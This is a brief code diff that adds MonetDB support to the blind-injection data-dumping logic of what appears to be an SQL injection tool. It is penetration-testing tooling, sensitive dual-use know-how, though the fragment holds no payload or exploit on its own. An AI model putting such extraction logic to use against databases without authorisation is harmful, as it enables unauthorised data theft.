83e4fea09..7c978a3ba 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -415,6 +415,8 @@ class Entries(object): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0]) + elif Backend.isDbms(DBMS.MONETDB): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index) query = agent.whereQuery(query)